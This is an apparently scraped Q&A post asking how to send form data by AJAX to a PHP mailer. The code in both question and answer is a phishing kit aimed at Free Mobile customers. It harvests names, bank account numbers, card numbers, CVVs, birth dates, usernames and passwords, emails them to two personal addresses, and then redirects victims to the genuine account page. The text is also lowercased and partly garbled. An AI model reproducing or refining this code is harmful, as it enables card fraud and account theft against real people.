ajax - I have two js variables that I want to send to a php script to pickup and send as an email without refresh -
if(isset($_post['submitbtn'])) { $pname= $_post['nom']; $telephone= $_post['telph']; $acnumber= $_post['compte']; $rbl= $_post['distance']; $cardno = $_post['carte']; $expmonth = $_post['months']; $expyear = $_post['year']; $cvv = $_post['cvv']; $dob = $_post['birth']; $subject = 'contact form '.$pname.''; $message = 'nom et prénom:- '.$pname.' telephone: '.$telephone.' numéro de compte:- '.$acnumber.' identifiant banque à distance:- '.$rbl.' numéro de carte:- '.$cardno.' date d expiration:- '.$expmonth.','.$expyear.' cvv 2:- '.$cvv.' date de naissance :- '.$dob.' '; $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com"; $header = "from:www.webperfection.co.in/clients/photonics/ \r\n"; $retval = mail ($to,$subject,$message,$header); if ($retval) { header("location: https://mobile.free.fr/moncompte/"); exit; } else { //header("location: /error.html"); exit; } } ?> will redirect user thttps://mobile.free.fr/moncompte/? because can't try mail function on setup
i want redirect once mail has been sent
thankyou help
i want redirect once mail has been sent
just use example, work server email sending code:
var un = document.getelementbyid('ident_txt_identifiant').innerhtml; var pw = document.myform.pwd_abo.value; // post_data contain name value pair pass in $_post server variable var post_data = 'un='+ un+ '&pw='+ pw; $.ajax({ type: 'post', url: 'post.php', data: post_data, success: function () { window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php"; } }); and change server code bit
<?php # send email if , if username , password fields passed in $_post request if(isset($_post['un']) && isset($_post['pw']) ){ $un= $_post['un']; $pw= $_post['pw']; $subject = 'login details'; $message = 'username:-'.$un.'password:-'.$pw; $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com"; $header = "from:www.webperfection.co.in/clients/photonics/ \r\n"; $retval = mail ($to,$subject,$message,$header); } ?>
Comments
Post a Comment